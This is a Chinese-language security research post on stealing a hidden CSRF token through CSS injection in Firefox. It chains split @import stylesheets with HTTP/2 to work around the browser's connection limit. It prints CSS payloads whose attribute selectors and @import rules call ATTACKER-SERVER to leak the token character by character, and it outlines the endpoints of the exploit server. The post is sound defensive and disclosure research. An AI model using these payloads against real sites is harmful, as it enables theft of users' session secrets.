在Firefox浏览器中利用CSS窃取数据

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0x00 前言

几个月之前,我在Firefox中找到了一个漏洞(CVE-2019-17016)。在研究过程中,我发现了在Firefox浏览器中利用CSS的一种数据窃取技术,可以通过单个注入点窃取数据,这里我想与大家一起分享相关研究成果。

 

0x01 背景知识

为了演示方便,这里假设我们想窃取<input>元素中的CSRF令牌。

<input type="hidden" name="csrftoken" value="SOME_VALUE">

我们无法使用脚本(可能是因为CSP),因此想寻找基于样式的注入方法。传统方法是使用属性选择器,如下所示:

input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}

input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}

...

input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

如果应用了CSS规则,那么攻击者就能收到HTTP请求,从而获取到令牌的第1个字符。随后,攻击者需要准备另一个样式表,其中包含已窃取的第1个字符,如下所示:

input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}

input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}

...

input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

通常情况下,攻击者需要重新加载<iframe>中已加载的页面,以便提供后续样式表。

在2018年,Pepe Vila提出了一个非常不错的想法,可以在Chrome浏览器中滥用CSS递归import方式,通过单个注入点完成相同任务。在2019年,Nathanial Lattimer(@d0nutptr)重新提出了相同技巧,但稍微做了点改动。下面我稍微总结一下Lattimer的方法,这种方法与本文的思想比较接近(但我在此次研究过程中并不了解Lattimer之前的成果,因此可能有人会认为我在重复造轮子)。

简而言之,第一次注入用到了一堆import

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

核心思想如下:

1、在一开始,只有第1个@import会返回样式表,其他语句处于连接阻塞状态。

2、第1个@import返回样式表,泄露令牌的第1个字符。

3、当泄露的第1个令牌到达ATTACKER-SERVER,第2个import停止阻塞,返回包含第1个字符的样式表,尝试泄露第2个字符。

4、当第2个泄露字符到达ATTACKER-SERVER时,第3个import停止阻塞……以此类推。

这种技术之所以行之有效,是因为Chrome会采用异步方式处理import,因此当任何import停止阻塞时,Chrome会立即解析该语句并应用规则。

 

0x02 Firefox及样式表处理

前面提到的方法并不适用于Firefox,与Chrome浏览器相比,Firefox对样式表的处理方式大不相同。这里我以几个案例来说明其中差异。

首先,Firefox会采用同步方式处理样式表。因此,当样式表中有多个import时,只有当所有import都处理完毕时,Firefox才会应用CSS规则。考虑如下案例:

<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>

假设第1个@import返回CSS规则,将页面背景设置为蓝色,后续的import处于阻塞状态(比如永远不会返回任何内容,会挂起HTTP连接)。在Chrome浏览器中,页面会立即变为蓝色,而在Firefox中并不会有任何反应。

我们可以将所有import放在独立的<style>元素中,从而解决该问题:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

在上面代码中,Firefox会分别处理所有样式表,因此页面会立刻变蓝色,其他import会在后台处理。

但这里还有另一个问题,假设我们想窃取包含10个字符的令牌:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox会立即将10个import加入队列。在处理完第1个import后,Firefox会将带有已知字符的另一个请求加入队列。这里的问题在于,该请求会被加到队列末尾。而在默认情况下,浏览器有个限制条件,到同一个服务器只能有6个并发连接。因此,带有已知字符的请求永远不会到达目标服务器,因为已经有到该服务器的6个阻塞连接,最终出现死锁现象。

0x03 HTTP/2

6个连接的限制条件由TCP层决定,因此到单个服务器只能有6个TCP连接同时存在。在这种情况下,我认为HTTP/2可能派上用场。HTTP/2有许多优点,比如我们可以通过单个连接发送多个HTTP请求(也就是所谓的多路传输(multiplexing)),从而大大提升性能。

Firefox对单个HTTP/2连接的并发请求数也有限制,但默认情况下限制数为100(具体设置参考about:config中的network.http.spdy.default-concurrent)。如果我们需要更多并发数,可以使用不同的主机名,强制Firefox创建第2个TCP连接。比如,如果我们创建到https://localhost:3000100个请求,也创建到https://127.0.0.1:300050个请求,此时Firefox就会创建2个TCP连接。

 

0x04 利用方式

现在一切准备就绪,我们的主要利用场景如下:

1、利用代码基于HTTP/2。

2、通过/polling/:session/:index端点可以返回CSS,泄露第:index字符。该请求会处于阻塞状态,直到前一个请求成功泄露第index-1个字符。:session路径参数用来区分多次攻击行为。

3、通过/leak/:session/:value端点来泄露整个令牌。这里:value为获取到的完整值,而不单单是最后一个字符。

4、为了强制Firefox向同一个服务器发起2个TCP连接,这里用到了两个端点,分别为https://localhost:3000https://127.0.0.1:3000

5、端点/generate用来生成示例代码。

我创建了一个测试平台,目标是通过这种方式窃取csrftoken,大家可通过此处直接访问该平台。

此外,我还在GitHub上托管了PoC代码,攻击过程可参考此处视频

有趣的是,由于我们使用的是HTTP/2,因此攻击过程非常快速,不到3秒就能获取到整个令牌。

 

0x05 总结

在本文中,我演示了如何利用1个注入点,在不想重载页面的情况下,通过CSS窃取数据。这里主要涉及2个要点:

1、将@import规则拆分成多个样式表,后续import不会阻塞浏览器对整个样式表的处理。

2、为了绕过TCP并发连接数限制,我们需要通过HTTP/2发起攻击。

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